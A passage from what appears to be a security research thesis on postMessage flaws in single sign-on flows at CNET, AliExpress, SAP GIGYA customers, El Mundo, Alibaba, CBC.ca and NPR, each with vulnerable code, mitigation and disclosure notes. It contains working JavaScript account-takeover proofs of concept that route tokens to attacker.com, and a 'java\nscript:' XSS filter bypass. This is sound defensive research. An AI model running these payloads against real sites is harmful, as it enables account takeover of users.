Messaging) library14 is integrated, but used insecurely.

Figure 4.3 depicts the basic attack execution, applied on cnet.com:

Primary Window
https://attacker.com

iframe on https://urs.cnet.com/pageservices/social/oauth/proxy?
xdm_e=https://attacker.com

/ / ht t ps: / / ur s. cnet . com/ asset s/ easyxdm/ easyXDM. mi n. j s 
wi ndow. par ent . post Message( {

" met hod" :  " set AccessCr edent i al s" ,
" par ams" :  {

" accessToken" :  {
" soci al Si t e" :  " f acebook" ,
" accessCr edent i al s" :  " XYZ"

}
} ,  " j sonr pc" :  " 2. 0"

} ,  " ht t ps: / / at t acker . com" ) ;

https://urs.cnet.com/pageservices
/social/oauth/connect/facebook/375

https://www.facebook.com
/v6.0/dialog/oauth?[authnReqParams]

https://urs.cnet.com/pageservices
/social/oauth/return/facebook/375?code=XYZ

R
edirect

window.open()

pr oxy = wi ndow. opener . f r ames[ " easyXDM" ] ;
pr oxy. set AccessCr edent i al s( {

" accessToken" :  {
" soci al Si t e" :  " f acebook" ,
" accessCr edent i al s" :  " XYZ"

}
} ) ;

JS Callback

po
st

M
es

sa
ge

R
edirect

Figure 4.3: CBS Interactive – Vulnerable postMessage sender on https://urs.cnet.com
/pageservices/social/oauth/proxy – simplified.

1. The malicious website embeds the vulnerable proxy iframe and sets the xdm_e query
parameter to its origin.

2. The malicious website opens the loginEndp in a new popup window.

3. The loginEndp redirects to the authnEndp on the IdP.

4. The authnEndp redirects back to the redirectionEndp on the SP (prompt=none flow).

5. The backend on the redirectionEndp redeems the code and returns a custom token
in its JS code.

14Available on GitHub: https://github.com/oyvindkinsey/easyXDM/.

https://www.nytimes.com/
https://www.nytimes.com/
https://www.nytimes.com/
cbsnews.com
cnet.com
zdnet.com
cnet.com
https://urs.cnet.com/pageservices/social/oauth/proxy
https://urs.cnet.com/pageservices/social/oauth/proxy
https://github.com/oyvindkinsey/easyXDM/
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6. The custom token is sent to the proxy iframe on the malicious website using a
(secure) same-origin JS callback.

7. The proxy iframe receives the custom token in its JS callback and issues a postMes-
sage RPC to its parent. The vulnerable proxy uses the xdm_e query parameter as
destination origin, but does not validate this parameter. Thus, the malicious web-
site receives the custom token in its postMessage event listener. The attacker uses
the custom token to log into the victim’s account.

Although the easyXDM library provides an access control list for the validation of the
xdm_e query parameter, it is not used by the CBS Interactive Authentication System.

Proof of Concept: The attacker embeds the JS script in Listing 4.6 on its malicious
website. The script embeds the proxy iframe and opens the loginEndp in a new popup
window.

Listing 4.6: CBS Interactive – Proof of Concept – Account Takeover.
1 window.addEventListener("message", (e) => {
2 alert(e.data);
3 });
4
5 window.iframe = document.createElement("iframe");
6 window.iframe.name = "easyXDM";
7 window.iframe.src = "https://urs.cnet.com/pageservices/social/oauth/proxy?xdm_e=https Ê

%3A%2F%2Fattacker.com&xdm_c=urs375&xdm_p=1";Òæ

8 window.iframe.onload = () => {
9 window.open("https://urs.cnet.com/pageservices/social/oauth/connect/facebook/375? Ê

extras=%7B%22requestType%22%3A%22SOCIAL_AUTH%22%2C%22version%22%3A%22v2.2%22% Ê
7D&frameId=easyXDM",
"_blank");

Òæ

Òæ

Òæ

10 }

Mitigation: The xdm_e parameter must be properly validated to only allow whitelisted
origins as destination check. Therefore, the access control list (acl property) within the
easyXDM library must be used. This property accepts a list of regular expressions as
origins. Only strict, secure regular expressions must be used.

4.5.4.3 Moz#96: AliExpress

Impact: Full account takeover.

Vulnerability: Missing postMessage destination check and insu�cient parameter vali-
dation.

The basic SSO popup flow on AliExpress works as follows15:
15For simplicity, obscure parameters and requests are ignored. URLs are presented in a decoded state.
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1. The loginEndp is opened in a new popup window: https://thirdparty.aliexpr
ess.com/login.htm?type=gg&reload=false. As shown in Listing 4.7, the reload
parameter determines whether a postMessage is sent or a redirect is performed.

2. In response to the loginEndp, the cookie reload=false is scoped to the thirdparty
.aliexpress.com domain. The loginEndp redirects to the authnEndp on the IdP,
which finally redirects the popup back to the redirectionEndp (prompt=none flow):
https://thirdparty.aliexpress.com/ggcallback.htm?code=XYZ. Note that the
backend on the redirectionEndp receives the reload parameter as cookie.

3. The backend redeems the code, generates two custom tokens pid and ts, and finally
redirects the popup to https://login.aliexpress.com/xman/xlogin_for_token.h
tm?pid=ABC&ts=XYZ&return_url=https://thirdparty.aliexpress.com/close.htm?r
eload=false&return_url=https://www.aliexpress.com.

4. The xlogin_for_token endpoint submits the pid and ts parameters to some irrel-
evant endpoints and finally redirects to the return_url: https://thirdparty.ali
express.com/close.htm?reload=false&return_url=https://www.aliexpress.com.

5. Listing 4.7 reveals the JS script that is returned from the close endpoint. The
return_url=https://www.aliexpress.com is sent via the postMessage API – with
wildcard origin – to the primary window. Although an attacker is able to receive
this postMessage, it is evidentially valueless.

Listing 4.7: AliExpress – Vulnerable postMessage sender on https://thirdparty.aliex
press.com/close.htm – simplified.

1 // Basic SSO Popup Flow:
https://thirdparty.aliexpress.com/login.htm?type=gg&reload=falseÒæ

2 var returnUrl = "https://www.aliexpress.com";
3 var reload = "false";
4
5 // Malicious SSO Popup Flow:

https://thirdparty.aliexpress.com/login.htm?type=gg&reload=%255Cx66alseÒæ

6 var returnUrl =
"https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ";Òæ

7 var reload = "\x66alse";
8
9 // Both:

10 if (reload == "false") {
11 window.opener.postMessage({returnUrl: returnUrl, resultCode: "200", type:

"SNS_REGISTER"}, "*");Òæ

12 } else {
13 window.location.href = returnUrl;
14 }

If the reload parameter is set to true in step 1, the backend returns a di�erent returnUrl,
which is useful for further exploitation:

https://thirdparty.aliexpress.com/login.htm?type=gg&reload=false
https://thirdparty.aliexpress.com/login.htm?type=gg&reload=false
thirdparty.aliexpress.com
thirdparty.aliexpress.com
https://thirdparty.aliexpress.com/ggcallback.htm?code=XYZ
https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ&return_url=https://thirdparty.aliexpress.com/close.htm?reload=false&return_url=https://www.aliexpress.com
https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ&return_url=https://thirdparty.aliexpress.com/close.htm?reload=false&return_url=https://www.aliexpress.com
https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ&return_url=https://thirdparty.aliexpress.com/close.htm?reload=false&return_url=https://www.aliexpress.com
https://thirdparty.aliexpress.com/close.htm?reload=false&return_url=https://www.aliexpress.com
https://thirdparty.aliexpress.com/close.htm?reload=false&return_url=https://www.aliexpress.com
return_url=https://www.aliexpress.com
https://thirdparty.aliexpress.com/close.htm
https://thirdparty.aliexpress.com/close.htm
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• In step 3, the backend redirects the popup directly to https://thirdparty.aliex
press.com/close.htm?reload=true&return_url=https://login.aliexpress.com/x
man/xlogin_for_token.htm?pid=ABC&ts=XYZ.

• Step 4 is skipped.

• In step 5, the return_url=https://login.aliexpress.com/xman/xlogin_for_tok
en.htm?pid=ABC&ts=XYZ would be sent via the postMessage API to the primary
window. However, the reload parameter is set to true – thus, the postMessage
call is not executed.

An attacker can trick the backend server into “assuming that it did not receive a
reload=false parameter, although it did”. Therefore, the malicious website uses the
JS-encoded reload=%255Cx66alse parameter and opens a new popup window on https:
//thirdparty.aliexpress.com/login.htm?type=gg&reload=%255Cx66alse:

• In step 3, the backend redirects the popup directly to https://thirdparty.aliex
press.com/close.htm?reload=%5Cx66alse&return_url=https://login.aliexpress
.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ.

• Step 4 is skipped.

• In step 5, the JS script contains the var reload="\x66alse" variable and the
returnUrl populated with pid and ts tokens. The expression "\x66alse" == "false"
evaluates to true and the sensitive returnUrl is sent via postMessage – with wild-
card origin – to the attacker’s primary window.

The attacker opens the received returnUrl populated with pid and ts tokens in its UA
and is logged into the victim’s account.

Proof of Concept: The attacker embeds the JS script in Listing 4.8 on its malicious
website. The script opens the loginEndp containing the reload=%255Cx66alse parame-
ter.

Listing 4.8: AliExpress – Proof of Concept – Account Takeover.
1 window.addEventListener("message", (e) => {
2 alert(JSON.stringify(e.data));
3 });
4 window.open("https://thirdparty.aliexpress.com/login.htm?type=gg&reload=%255Cx66alse",

"_blank");Òæ

Mitigation: The destination check in line 11 of Listing 4.7 must be enforced using
"https://www.aliexpress.com/".

https://thirdparty.aliexpress.com/close.htm?reload=true&return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
https://thirdparty.aliexpress.com/close.htm?reload=true&return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
https://thirdparty.aliexpress.com/close.htm?reload=true&return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
https://thirdparty.aliexpress.com/login.htm?type=gg&reload=%255Cx66alse
https://thirdparty.aliexpress.com/login.htm?type=gg&reload=%255Cx66alse
https://thirdparty.aliexpress.com/close.htm?reload=%5Cx66alse&return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
https://thirdparty.aliexpress.com/close.htm?reload=%5Cx66alse&return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
https://thirdparty.aliexpress.com/close.htm?reload=%5Cx66alse&return_url=https://login.aliexpress.com/xman/xlogin_for_token.htm?pid=ABC&ts=XYZ
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4.5.4.4 Moz#101, #209: The Independent, ABC (SAP Customer Data Cloud)

Impact: Full account takeover.

Vulnerability: Insu�cient validation of dynamic postMessage destination check.

The SAP Customer Data Cloud16 – formally known as GIGYA – o�ers identity broker-
age, which is also known as SSO as a Service. SAP provides SPs all kinds of identity
management services, including password-based authentication and SSO with public
IdPs. SPs conveniently integrate the single SAP service as IdP, which then handles the
SSO flows on multiple public IdPs.

GIGYA makes use of postMessage to transfer custom tokens back to the SP. Since multi-
ple SPs are supported by GIGYA, dynamic destination checks are necessary. Figure 4.4
elucidates the attack execution, applied on www.independent.co.uk:

Primary Window
https://attacker.com

Popup Window
https://socialize.us1.gigya.com/socialize.login
 

?x_provider=googleplus
&client_id=[...]
&redirect_uri=/GS/AfterLogin.aspx
&response_type=server_token
&domain=https://www.independent.co.uk:pwd@attacker.com

Popup Window
https://accounts.google.com/o/oauth2/v2/auth
 

?response_type=code
&client_id=[...].apps.googleusercontent.com
&redirect_uri=https://socialize.gigya.com/GS/GSLogin.aspx
&state=[RANDOM]

window.open()

R
edirect

https://socialize.gigya.com/GS/GSLogin.aspx
?code=[...]&state=[RANDOM]

wi ndow. opener . post Message(
" l ogi n_t oken=[ . . . ] &i d_t oken=[ . . . ] " ,
" ht t ps: / / www. i ndependent . co. uk: pwd@at t acker . com"

) ;

postMessage

R
edirect

Figure 4.4: SAP Customer Data Cloud – Vulnerable postMessage sender on https://so
cialize.gigya.com/GS/GSLogin.aspx – simplified.

1. The malicious website opens the loginEndp on GIGYA in a new popup window.
The endpoint expects the public IdP that is chosen by the End-User, the client_id
of the SP on GIGYA, the redirect_uri to which the public IdP should redirect, the
response_type, and finally the origin of the SP. This origin is used later to return
the custom tokens from GIGYA to the SP. The vulnerability is located within
this endpoint: the domain parameter is validated by the backend, but the Basic
authentication bypasses the validation. Since we had no access to the backend
validation logic, we could not certainly figure out the root cause. However, this
bypass is the only one we found – domain appending (i.e., honest.com.evil.com)
is su�ciently validated.

16More information on https://www.sap.com/acquired-brands/what-is-gigya.html.

www.independent.co.uk
https://socialize.gigya.com/GS/GSLogin.aspx
https://socialize.gigya.com/GS/GSLogin.aspx
https://www.sap.com/acquired-brands/what-is-gigya.html
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2. The loginEndp associates the parameters with a randomly generated state and
finally redirects to the public IdP, passing over the state.

3. The public IdP redirects back to the redirectionEndp (prompt=none flow) on GI-
GYA and replays the state. The GIGYA backend redeems the code and retrieves
the loginEndp parameters associated with the state. It further generates custom
tokens that the SP can validate to authenticate the End-User.

4. The redirectionEndp returns JS code that sends the custom tokens via the postMes-
sage API to the primary window. It uses the malicious domain parameter from step
1 as destination check. Thus, the malicious website receives the custom tokens and
an attacker may use them to log into the victim’s account.

Proof of Concept: The attacker embeds the JS script in Listing 4.9 on its malicious
website. The script opens the loginEndp on GIGYA in a new popup window, which
redirects to the authnEndp on the public IdP, and finally back to the redirectionEndp
on GIGYA. Due to the malicious domain parameter, the attacker receives the custom
tokens.

Listing 4.9: SAP Customer Data Cloud – Proof of Concept – Account Takeover.
1 window.addEventListener("message", (e) => {
2 alert(e.data);
3 });
4
5 window.open("https://socialize.us1.gigya.com/socialize.login?x_provider=googleplus&cl Ê

ient_id=2_bkQWNsWGVZf-fA4GnOiUOYdGuROCvoMoEN4WMj6_YBq4iecWA-Jp9D2GZCLbzON4&redire Ê
ct_uri=%2FGS%2FAfterLogin.aspx&response_type=server_token&state=domain%3Dhttps%25 Ê
3A%252F%252Fwww.independent.co.uk:pwd@attacker.com",
"_blank");

Òæ

Òæ

Òæ

Òæ

Mitigation: GIGYA allows wildcards such that subdomains from the top-level domain
may receive the custom tokens. However, the domain parameter on the loginEndp must
be validated properly on an exact match. SPs must explicitly whitelist all origins that
are allowed to receive the custom tokens from GIGYA.

4.5.4.5 Moz#176: El Mundo

Impact: Full account takeover.

Vulnerability: Missing postMessage destination check.

Once the popup window is redirected to the redirectionEndp on https://seguro.elmun
do.es/registro/v3/registro-social.html?code=XYZ&state=facebook, a CustomEvent or
MessageEvent is sent to the primary window on https://seguro.elmundo.es/registro/v
3/?view=login. The message contains the query parameters – code and state – of the
redirectionEndp.

https://seguro.elmundo.es/registro/v3/registro-social.html?code=XYZ&state=facebook
https://seguro.elmundo.es/registro/v3/registro-social.html?code=XYZ&state=facebook
https://seguro.elmundo.es/registro/v3/?view=login
https://seguro.elmundo.es/registro/v3/?view=login
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Listing 4.10 reveals the vulnerable postMessage sender within the popup window. The
JS code on the redirectionEndp extracts the code and state parameters from the URL
and uses a CustomEvent – which is considered as safe – to return them to the primary
window. If the window.opener.dispatchEvent() method throws an exception (i.e., if the
primary window is cross-origin), the postMessage API is used as a fallback mechanism.
In this case, the authnResp parameters – code and state – are sent to the primary
window using postMessage with a wildcard destination origin.

Listing 4.10: El Mundo – Vulnerable postMessage sender on https://seguro.elmundo.e
s/registro/v3/registro-social.html – simplified.

1 try {
2 var data = parse(window.location.href); // data = {code: "XYZ", state: "facebook"}
3 var event = new CustomEvent("social-signup", {detail: data});
4 window.opener.dispatchEvent(event);
5 } catch (e) {
6 window.opener.postMessage(window.location.search, "*");
7 }

Proof of Concept: The attacker embeds the JS script in Listing 4.11 on its malicious
website. The script opens the loginEndp in a new popup window, which redirects to the
authnEndp, and finally back to the redirectionEndp. Since the malicious website is cross-
origin, the redirectionEndp uses the postMessage call to send the authnResp parameters
to the malicious website. The attacker receives the code within the event listener and
may use it to authenticate as the victim on elmundo.es.

Listing 4.11: El Mundo – Proof of Concept – Account Takeover.
1 window.addEventListener("message", (e) => {
2 alert(e.data);
3 });
4 window.open("https://seguro.elmundo.es/ueregistro/v1/redes- Ê

sociales/registro/autorizacion/8/facebook/",
"_blank");

Òæ

Òæ

Mitigation: Usually, the postMessage API is not required since the popup window and
primary window on seguro.elmundo.es are same-origin. We suggest to either remove
line 6 in Listing 4.10 or implement a secure destination origin, such as "https://seguro Ê

.elmundo.es".

4.5.4.6 Moz#192: Alibaba

Impact: (I) Full account takeover and (II) DOM-based XSS on alibaba.com.

Vulnerability (I): Missing postMessage destination check.

https://seguro.elmundo.es/registro/v3/registro-social.html
https://seguro.elmundo.es/registro/v3/registro-social.html
elmundo.es
seguro.elmundo.es
alibaba.com
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Once the popup window is redirected to the redirectionEndp on https://passport.ali
baba.com/oauth_sign.htm?code=XYZ, a postMessage is sent to the primary window on
https://passport.alibaba.com/icbu_login.htm. The postMessage payload contains an
opaque bearer token – also called ServiceToken (st) – that the primary window redeems
in exchange for session cookies.

Listing 4.12 reveals the vulnerable postMessage sender within the popup window. Once
the authnResp is processed, the backend returns the st token within the JS on the
redirectionEndp. Since the popup flow is applied, the responseAction is set to window.
In order to receive the st token, the primary window must send a “ping” message with
postMessage to the popup. The popup receives the “ping” message and responds to its
source with the st token. If the flow is executed within an iframe, the redirectionEndp
instead returns the st token to its parent. In any case, no destination checks are applied,
thus any origin can receive the st token.

Listing 4.12: Alibaba – Vulnerable postMessage sender on https://passport.alibaba.c
om/oauth_sign.htm – simplified.

1 var responseAction = "window";
2 var payload = {action: "loginResult", st: "<TOKEN>", resultCode: 100}
3
4 if (responseAction == "iframe") {
5 window.parent.postMessage(JSON.stringify(payload), "*");
6 } else if (responseAction == "window") {
7 function receiveMessage(event) {
8 event.source.postMessage(payload, event.origin);
9 }

10 window.addEventListener("message", receiveMessage);
11 }

Proof of Concept (I): The attacker embeds the JS script in Listing 4.13 on its ma-
licious website. The script opens the loginEndp in a new popup, which redirects to the
authnEndp and finally back to the redirectionEndp (prompt=none flow). The redirectio-
nEndp contains the vulnerable postMessage sender. The malicious website sends a “ping”
message with postMessage to the popup window and in response, receives the st token.
If the attacker sends a GET request to https://login.alibaba.com/validateSTGroup.htm
and appends the st token as query parameter, its UA is immediately logged into the
victim’s account.

Vulnerability (II): Missing postMessage origin check and insu�cient input valida-
tion.

Listing 4.14 reveals the vulnerable postMessage receiver callback within the primary
window, which does not implement any origin checks. Once the MessageEvent is re-
ceived on the primary window and the action and resultCode parameters within the
payload are set accordingly, the st token is sent to the backend for authentication. If
the iframeRedirect parameter is set within the payload, a new iframe is appended to the

https://passport.alibaba.com/oauth_sign.htm?code=XYZ
https://passport.alibaba.com/oauth_sign.htm?code=XYZ
https://passport.alibaba.com/icbu_login.htm
https://passport.alibaba.com/oauth_sign.htm
https://passport.alibaba.com/oauth_sign.htm
https://login.alibaba.com/validateSTGroup.htm
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Listing 4.13: Alibaba – Proof of Concept – Account Takeover.
1 window.addEventListener("message", (e) => {
2 if (e.data.st) alert(e.data.st);
3 });
4 window.popup = window.open("https://passport.alibaba.com/sns_oauth Ê

.htm?type=google&responseAction=window&appName=icbu",
"_blank");

Òæ

Òæ

5 setTimeout( () => {
6 window.popup.postMessage("ping", "*");
7 }, 5000);

DOM and loads the URL located in the iframeRedirectUrl parameter. The developers
already implemented a check that prohibits the use of a javascript: scheme to mitigate
XSS. However, this check is insu�cient, which is made apparent when the scheme of the
iframeRedirectUrl is set to java\nscript :. Although this scheme is still valid in the
browser, it is not detected with the indexOf("javascript:") method.

Listing 4.14: Alibaba – Vulnerable postMessage receiver on https://passport.alibaba
.com/icbu_login.htm – simplified.

1 // https://i.alicdn.com/g/??icbu-group/enlogin/0.0.32/pages/homelogin/index.js
2 function callback(e) {
3 if (/^hasLoginResult|loginResult$/.test(e.data.action) && e.data.resultCode == 100)

{Òæ

4 if (e.data.st) validateServiceTokenGroup(e.data.st); // Redeem ServiceToken
�st� on backendÒæ

5 if (e.data.iframeRedirect &&
e.data.iframeRedirectUrl.toLowerCase().indexOf("javascript:") < 0) {Òæ

6 (iframe = document.createElement("iframe")).src = e.data.iframeRedirectUrl;
7 dialog.create({content: iframe}); // Append iframe to DOM
8 }
9 }

10 }

Proof of Concept (II): The attacker embeds the JS script in Listing 4.15 on its
malicious website. The script (1) creates a new iframe that loads the endpoint containing
the vulnerable postMessage receiver, (2) waits for the iframe to load, and (3) sends
the malicious postMessage payload to the iframe, including the iframeRedirect and
iframeRedirectUrl parameters.

Mitigation: The destination checks in Listing 4.12 must be set to "https://passport Ê

.alibaba.com". The origin check must be implemented within the first if clause in
Listing 4.14: [...] && e.origin === "https://passport.alibaba.com". Also, we sug-
gest to properly validate the iframeRedirectUrl parameter to only allow URLs on
https://alibaba.com/.

https://passport.alibaba.com/icbu_login.htm
https://passport.alibaba.com/icbu_login.htm
https://alibaba.com/
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Listing 4.15: Alibaba – Proof of Concept – DOM-based XSS on alibaba.com.
1 window.iframe = document.createElement("iframe");
2 window.iframe.src = "https://passport.alibaba.com/icbu_login.htm";
3 document.body.appendChild(window.iframe);
4 window.iframe.onload = () => {
5 window.iframe.contentWindow.postMessage({
6 "action": "loginResult",
7 "st": "<TOKEN>",
8 "resultCode": 100,
9 "iframeRedirect": true,

10 "iframeRedirectUrl": "java\nscript:alert(document.domain)"
11 }, "*");
12 }

4.5.4.7 Moz#210: CBC.ca (LoginRadius)

Impact: Full account takeover.

Vulnerability: Insu�cient postMessage origin check leads to cross-site account link-
ing.

LoginRadius is an Identity Broker that o�ers SSO as a Service. In contrast to previous
vulnerabilities, this account takeover is not caused by an insecure destination check
leaking tokens, but an insecure origin check that accepts account linking tokens.

The basic SSO flow performed by LoginRadius on cbc.ca works as follows:

1. The loginEndp is opened in a new popup window: https://login.cbc.ca/Request
Handlor.aspx?apikey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37&provider=google&c
allback=https://www.cbc.ca/.

2. The backend properly validates the callback parameter and sets a cookie Callba
ckUrl="https://www.cbc.ca/" scoped to the login.cbc.ca domain. Then, the
loginEndp redirects to the authnEndp on the public IdP, which finally redirects to
the redirectionEndp (prompt=none flow): https://login.cbc.ca/socialauth/vali
date.sauth?code=XYZ. The CallbackUrl is sent as cookie to the redirectionEndp.
The backend redeems the code, generates a custom token in form of an UUID, and
returns the JS script in Listing 4.16. The JS on the redirectionEndp returns the
UUID to the primary window using either a JS callback or postMessage, based on
whether it is same-origin or cross-origin. Note that the dynamic destination check
is secure, since it is based on the CallbackUrl cookie that is only set to properly
validated URIs.

3. The primary window receives the UUID in its event listener shown in Listing 4.17.
The vulnerability is located within the origin check in the postMessage receiver,

alibaba.com
cbc.ca
https://login.cbc.ca/RequestHandlor.aspx?apikey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37&provider=google&callback=https://www.cbc.ca/
https://login.cbc.ca/RequestHandlor.aspx?apikey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37&provider=google&callback=https://www.cbc.ca/
https://login.cbc.ca/RequestHandlor.aspx?apikey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37&provider=google&callback=https://www.cbc.ca/
CallbackUrl=%22https://www.cbc.ca/%22
CallbackUrl=%22https://www.cbc.ca/%22
login.cbc.ca
https://login.cbc.ca/socialauth/validate.sauth?code=XYZ
https://login.cbc.ca/socialauth/validate.sauth?code=XYZ
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Listing 4.16: LoginRadius – PostMessage sender on https://login.cbc.ca/socialauth/
validate.sauth – simplified.

1 try {
2 window.opener.passToken("<UUID>", "https://www.cbc.ca/");
3 } catch (error) {
4 window.opener.postMessage("<UUID>", "https://www.cbc.ca/");
5 }

which uses the insecure indexOf() method. Once it is validated that the postMes-
sage payload contains an UUID, it is stored within localStorage and sent to a
backend in exchange for session cookies: https://login.cbc.ca/ssologin/setTok
en?token=<UUID>&apiKey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37.

In summary, the malicious website https://login.cbc.ca.attacker.com can send
arbitrary UUIDs to this postMessage receiver. For instance, an attacker sends its own
UUID token to this listener within the victim’s browser, such that the victim is logged
into the attacker’s account.

Listing 4.17: LoginRadius – Vulnerable postMessage receiver on https://www.cbc.ca –
simplified.

1 // https://auth.lrcontent.com/v2/LoginRadiusV2.js
2 window.addEventListener("message", function (e) {
3 if (e.origin.indexOf("login.cbc.ca") === -1 ||

e.origin.indexOf("hub.loginradius.com") === -1) return;Òæ

4 if (/<UUID_REGEX>/.test(e.data)) socialLoginReceiveToken(e.data); // Send UUID to
backend for cookiesÒæ

5 });

The insecure origin check is further exploited as follows:

1. Within the attacker’s UA, the attacker logs into its existing account on cbc.ca and
starts a new account linking process with a public IdP and “fresh” account on that
IdP.

2. In Burp, the attacker intercepts the response from the loginEndp that contains the
UUID as shown in Listing 4.16. The backend issues this UUID in relation to the
account linking process.

3. The victim’s UA is logged into the victim’s account as normal.

4. Within the victim’s UA, the malicious website sends the aforementioned UUID
to the vulnerable postMessage receiver shown in Listing 4.17. The victim’s au-
thenticated UA sends the UUID to the backend, which “knows” that this UUID is
related to an account linking process. Thus, the backend links the victim’s account
to the “fresh” attacker’s account.

https://login.cbc.ca/socialauth/validate.sauth
https://login.cbc.ca/socialauth/validate.sauth
https://login.cbc.ca/ssologin/setToken?token=%3CUUID%3E&apiKey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37
https://login.cbc.ca/ssologin/setToken?token=%3CUUID%3E&apiKey=3f4beddd-2061-49b0-ae80-6f1f2ed65b37
https://login.cbc.ca.attacker.com
https://www.cbc.ca
cbc.ca
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5. The attacker logs into the account from step 1 using the appropriate IdP. As a
result, the attacker is logged into the victim’s account.

Proof of Concept: The attacker embeds the JS script in Listing 4.18 on its malicious
website. The script sends an arbitrary UUID to the vulnerable postMessage receiver.
Before the attack is executed, the attacker must generate an UUID for account linking.

Listing 4.18: LoginRadius – Proof of Concept – Account Takeover.
1 window.popup = window.open("https://login.cbc.ca/profile.aspx", "_blank");
2 setTimeout( () => {
3 window.popup.postMessage("<UUID>", "*");
4 }, 5000);

Mitigation: The insecure indexOf() method must not be used. Instead, a static,
hardcoded origin check should be used: if (e.origin !== "https://login.cbc.ca")
return;.

4.5.4.8 Moz#246: National Public Radio (Akamai Identity Cloud)

Impact: Full account takeover.

Vulnerability: Insu�cient parameter validation on loginEndp.

Akamai Identity Cloud – formally called Jainrain – is an Identity Broker o�ering SSO
as a Service. The basic SSO flow performed by Akamai on npr.org works as follows:

1. The loginEndp is opened in a new popup window: https://login.npr.org/google
plus/start?xdReceiver=https://login.npr.org/xdr&provider_name=googleplus&a
pplicationId=obgcjccjbmbglaocbaep&token_url=https://secure.npr.org/oauth2/
login.

2. The loginEndp redirects to the authnEndp on the IdP, which finally redirects back
to the redirectionEndp (prompt=none flow): https://login.npr.org/googleplus/c
allback?code=XYZ.

3. The backend on the redirectionEndp redeems the code, generates a custom to-
ken loc, returns session cookies, and redirects to the xdReceiver (cross-domain
receiver), appending the custom token as hash fragment: https://login.npr.org/
xdr#provider=googleplus&redirectUrl=https://login.npr.org/googleplus/finis
h_url?applicationId=obgcjccjbmbglaocbaep&loc=<TOKEN>.

4. The xdr endpoint returns a JS script that implements the postMessage logic. In
this case, an “acknowledge postMessage” is sent to the primary window indicating
that the SSO flow terminated and the popup window may be closed. Although the
destination origin is a wildcard, the actual postMessage payload is not relevant to
an attacker.

npr.org
https://login.npr.org/googleplus/start?xdReceiver=https://login.npr.org/xdr&provider_name=googleplus&applicationId=obgcjccjbmbglaocbaep&token_url=https://secure.npr.org/oauth2/login
https://login.npr.org/googleplus/start?xdReceiver=https://login.npr.org/xdr&provider_name=googleplus&applicationId=obgcjccjbmbglaocbaep&token_url=https://secure.npr.org/oauth2/login
https://login.npr.org/googleplus/start?xdReceiver=https://login.npr.org/xdr&provider_name=googleplus&applicationId=obgcjccjbmbglaocbaep&token_url=https://secure.npr.org/oauth2/login
https://login.npr.org/googleplus/start?xdReceiver=https://login.npr.org/xdr&provider_name=googleplus&applicationId=obgcjccjbmbglaocbaep&token_url=https://secure.npr.org/oauth2/login
https://login.npr.org/googleplus/callback?code=XYZ
https://login.npr.org/googleplus/callback?code=XYZ
https://login.npr.org/xdr%23provider=googleplus&redirectUrl=https://login.npr.org/googleplus/finish_url?applicationId=obgcjccjbmbglaocbaep&loc=%3CTOKEN%3E
https://login.npr.org/xdr%23provider=googleplus&redirectUrl=https://login.npr.org/googleplus/finish_url?applicationId=obgcjccjbmbglaocbaep&loc=%3CTOKEN%3E
https://login.npr.org/xdr%23provider=googleplus&redirectUrl=https://login.npr.org/googleplus/finish_url?applicationId=obgcjccjbmbglaocbaep&loc=%3CTOKEN%3E
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However, the implementation does not properly validate the xdReceiver parameter that
specifies the postMessage endpoint. If an attacker sets the parameter to xdReceiver=//a
ttacker.com, the hash fragment containing the loc token is sent to the malicious domain
attacker.com. The attacker finally uses the loc token to establish a session with npr.org
and sign into the victim’s account.

Proof of Concept: The attacker embeds the JS script in Listing 4.19 on its malicious
website, which opens the loginEndp with the malicious xdReceiver=//attacker.com pa-
rameter.

Listing 4.19: Akamai – Proof of Concept – Account Takeover.
1 window.open("https://login.npr.org/googleplus/start?xdReceiver=//attacker.com&languag Ê

e_preference=en&token_url=https%3A%2F%2Fsecure.npr.org%2Foauth2%2Flogin&display=p Ê
opup&widget=true&openid_identifier=undefined&origin_url=https%3A%2F%2Fsecure.npr. Ê
org.foo.com%2Foauth2%2Flogin&provider_name=googleplus&force_reauth=false&callback Ê
=myCallback&widget_type=auth&token_action=url&applicationId=obgcjccjbmbglaocbaep" Ê
,
"_blank")

Òæ

Òæ

Òæ

Òæ

Òæ

Òæ

Mitigation: The xdReceiver parameter must be properly validated to allow only white-
listed cross-domain receiver scripts.

4.6 Responsible Disclosure

We responsibly reported all vulnerabilities to the vendors. Table 4.5 reveals an overview
of the responsible disclosure process and current status. With the exception of El-
mundo, all vendors responded to our inquiries. Reporting on the HackerOne platform
was straightforward. The three Identity Brokers – Akamai, LoginRadius, and SAP –
have dedicated responsible disclosure websites and provide specific emails for vulner-
ability reporting. NYTimes made reporting more di�cult: they do not provide any
information on how to report vulnerabilities on their website and the general support
did not help as well. Thus, we used the HackerOne Disclosure Assistance to report the
vulnerability. After two weeks, this issue was triaged and assigned to the The New York
Times organization. As it turned out, NYTimes has a private bug bounty program on
HackerOne – however, only invited researchers can report findings using this program.

The disclosure process on CBS Interactive was communicated via a general support
ticket on CNet. They immediately responded to our requests and quickly provided a fix.
As a first fix, they used an access control list to validate the postMessage destination:
/^.*\.cnet\.com((\/.*)?)$/. This regular expression was chosen insecurely, as it can
be bypassed with URLs like https://attacker.com/.cnet.com. After we reported this by-
pass, they implemented a secure regular expression: /^(https:\/\/)([a-zA-Z0-9\-]+\.)*cnet
\.com((\/.*)?)$/.

xdReceiver=//attacker.com
